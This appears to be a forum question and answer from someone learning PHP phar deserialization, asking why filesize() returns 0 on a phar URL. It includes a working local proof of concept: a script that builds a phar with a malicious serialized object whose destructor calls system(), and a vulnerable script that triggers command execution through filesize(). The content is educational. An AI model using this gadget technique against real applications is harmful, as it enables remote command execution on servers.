I'm learning about php phar deserialization ( introduced BlckHat2010, matured BlackHat2018 )
# create_phar.php
<?php
class SomeClassTheAppLoaded {
public $data = null;
public function __construct($data) { $this->data = $data; }
public function __destruct() { system($this->data); }
}
try {
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$object = new SomeClassTheAppLoaded('uname -a');
$phar->setMetadata($object);
$phar->stopBuffering();
} catch (Exception $e) { echo $e->getMessage(); }
The archive test.phar
is created successfully:
$ php --define phar.readonly=0 create_phar.php 1>/dev/null
And when sent to file_exists
and filesize
triggers the desired vulnerability (uname -a
):
# vuln.php
<?php
class SomeClassTheAppLoaded {
public $data = null;
public function __construct($data) { $this->data = $data; }
public function __destruct() { system($this->data); }
}
$size = filesize("phar://test.phar");
print_r("size = $size\n");
# uncomment will print file exists: 1
# $exists = file_exists("phar://test.phar");
# print_r("file exists: $exists\n");
What bothers me is that the returned filesize
is wrong (while file_exists
is correct)
$ php vuln.php
size = 0
Linux < ... omitted ...> -microsoft-standard-WSL2 < ... omitted ... > x86_64 GNU/Linux
The filesize of the phar is given by filesize('test.phar')
.
filesize('phar://test.phar')
doesn't mean anything because a phar is a virtual directory, and the size of a directory is not defined.
filesize('phar://test.phar/test.txt')
will return the size of the test.txt
entry inside the phar.